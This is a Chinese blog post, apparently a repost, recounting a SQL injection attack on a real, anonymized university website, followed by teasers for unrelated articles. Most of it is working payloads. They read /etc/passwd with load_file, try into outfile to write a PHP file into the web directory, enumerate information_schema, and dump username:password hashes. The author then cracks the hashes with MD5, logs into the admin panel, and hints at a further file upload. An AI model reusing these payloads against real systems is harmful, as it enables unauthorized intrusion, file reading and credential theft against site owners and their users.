一次SQL注入深入利用

devtools/2024/11/28 5:40:50/

1. 在寻找某处的资产时找到一个查询的页面:

https://xxxxxxxxxxx/index.php/all

随便查询一下,然后抓包:

测试发现这里存在注入:

由于有报错信息,首先考虑报错注入:

Poc: '+and+updatexml(0x7e,concat(0x7e,database()),0x7e)='1

这里看看是什么用户:

root@localhost用户,权限还挺大,由于没有waf,试试看能不能读取文件,这里已经提前测试过是linux系统了,所以尝试读取/etc/passwd文件:

Exp: '+and+updatexml(0x7e,concat(0x7e,load_file('/etc/passwd')),0x7e)='1

(load_file()函数你可以把它看成和user()或者database()函数差不多的用法,可以直接用,只是比他们多一个括号里的参数而已)

发现读取成功,但是这里由于报错函数可显示的最大长度有限,并不能完整的显示出来,这里有思路就是string函数去分段截取,一次截取一点,这样可以,但是太麻烦,也不知道这文件到底有多长)思来想去,试了好久才想起来要不直接用联合查询?虽然这里报了错误信息,但不代表没有联合查询的注入嘛,

所以先试试看能不能显示出来,

Poc: '+order+by+10--+

先最大长度的去试试,看返回几位,最后发现,返回8位:

于是我开始构造exp:

'+union+select+1,2,3,4,5,6,7,8--+

这里有点不一样,就算前面为真也一样的会全部显示,所以不需要可以去把前面弄为假。

于是在知道显示位置后,开始读取文件:(这里先把文件转换成十六进制编码,方便读取)

Exp:'+union+select+1,2,3,4,5,6,7,load_file(0x2F6574632F706173737764)--+

可以发现已经全部读取成功:

既然有读的权限,那也许有写的权限呢?

于是尝试一下写入,但是有个问题,写道哪里呢?

突然想起之间报错注入好像出现过一个php路径:

/home/csg/university/controllers/all.php

这个目录,我可以先随便试试写入一下,看这个能否写入,如果可以在后续利用,于是:

Exp: '+union+select+1,2,3,4,5,6,7,8+into+outfile+"/home/csg/university/controllers/abc.php"--+

这里尝试在那个位置写个abc.php文件,发现写入失败,那没办法了。

但是我心有不甘,要不就查出他的账户密码?

于是查一下他的所有数据库

Exp:

'+union+select+1,2,group_concat(schema_name),4,5,6,7,8+from+information_schema.schemata--+

好像没啥特点,还是看看当前数据库下的东西吧

然后找一下当前数据库试试:

Exp:

'+union+select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--+

看到后面的univ_user了嘛,感觉有点像用户列表,查看一下:

Exp:

'+union+select+1,2,group_concat(column_name),4,5,6,7,8+from+information_schema.columns+where+table_schema=database()+and+table_name='univ_user'--+

找到了username和password,于是看看:

Exp:

'+union+select+1,2,group_concat(concat_ws(':',username,password)),4,5,6,7,8+from+college.univ_user--+

然后拿去解密,我猜应该是MD5加密,试试运气能不能解出来:

哈哈,功夫不负有心人,直接拿下了,于是找到该网站后台:

https://zzzzzzzzzzzzzzzzzzzzz/index.php/login

输入得到的账户密码:

成功登陆:

哈哈,千辛万苦,万苦千辛。终于进来了。后续就是文件上传了。属于私密内容了;哈哈。


http://www.ppmy.cn/devtools/137580.html

相关文章

第九章 Spring Boot快速⼊⻔ —— Spring Boot整合mybatis-plus

前言: MyBatis-Plus(简称MP)是一个MyBatis的增强工具,在MyBatis的基础上进行了扩展,旨在简化MyBatis的操作并提高开发效率。适用于各种需要进行数据库操作的场景,特别是需要频繁进行CRUD操作的场景。它简化了MyBatis的使用,使得开发者可以更加专注于业务逻辑的实现,而不…

区块链:比特币-Binance

写在前面:相对于Tran和BNB而言,Binance不支持智能合约;大约每 10分钟 生成一个新区块 一、认识Binance 官方网站:Blockchain Explorer - Bitcoin Tracker & More | Blockchain.com 官方文档:Authentication – I…

【DVWA】File Inclusion文件包含实战

安能有术无道有道无心&#xff0c;乐得仁心仁义正心行道。 1.File Inclusion(Low) 相关代码分析 <?php// The page we wish to display $file $_GET[ page ];?>可以看到&#xff0c;服务器端对page参数没有做任何的过滤跟检查。 服务器期望用户的操作是点击下面的…

如何使用ssh登录到Google Cloud创建的实例

要通过 SSH 登录到 Google Cloud 创建的实例&#xff0c;你可以按照以下步骤操作&#xff1a; 方法一&#xff1a;通过 Google Cloud Console 登录 进入 Google Cloud Console 登录 Google Cloud Console。 选择实例 导航到左侧菜单的 Compute Engine > 虚拟机实例 页面。找…

网络模型(四层)--应用层(http), 传输层(TCP,UDP),网络层(ip),数据的流转

1. 应用层 &#xff1a; 2. 传输层&#xff1a; 3. 网络层&#xff1a; 4.链路层&#xff1a; 通过网络发送信息时&#xff0c;数据在内存中的流转过程 一、用户内存中的流转 应用层数据生成 当用户使用应用程序&#xff08;如浏览器、即时通讯软件等&#xff09;创建要发…

AI前景分析展望——GPTo1 SoraAI

引言 人工智能&#xff08;AI&#xff09;领域的飞速发展已不仅仅局限于学术研究&#xff0c;它已渗透到各个行业&#xff0c;影响着从生产制造到创意产业的方方面面。在这场技术革新的浪潮中&#xff0c;一些领先的AI模型&#xff0c;像Sora和OpenAI的O1&#xff0c;凭借其强大…

[Ubuntu]解决安装cmake之后安装cmake-gui出现的问题。

试过两种情况&#xff1a; 1&#xff09;此前已经安装了cmake&#xff0c;现在再安装cmake-gui&#xff0c;而且cmake已经是最新版本的。 2&#xff09;卸载以前的cmake&#xff0c;现在重新安装 结果都出现了以下错误&#xff1a; The following packages have unmet depe…

【Linux系列】GitLab搭建完整指南

GitLab 是一款开源的代码托管平台&#xff0c;集代码仓库、持续集成与部署、代码审查等功能于一体。本文将指导您在 CentOS 系统 上搭建 GitLab。 一、准备工作 1. 系统要求 操作系统&#xff1a;CentOS 7 或 CentOS 8硬件要求&#xff1a; CPU&#xff1a;2 核或以上内存&a…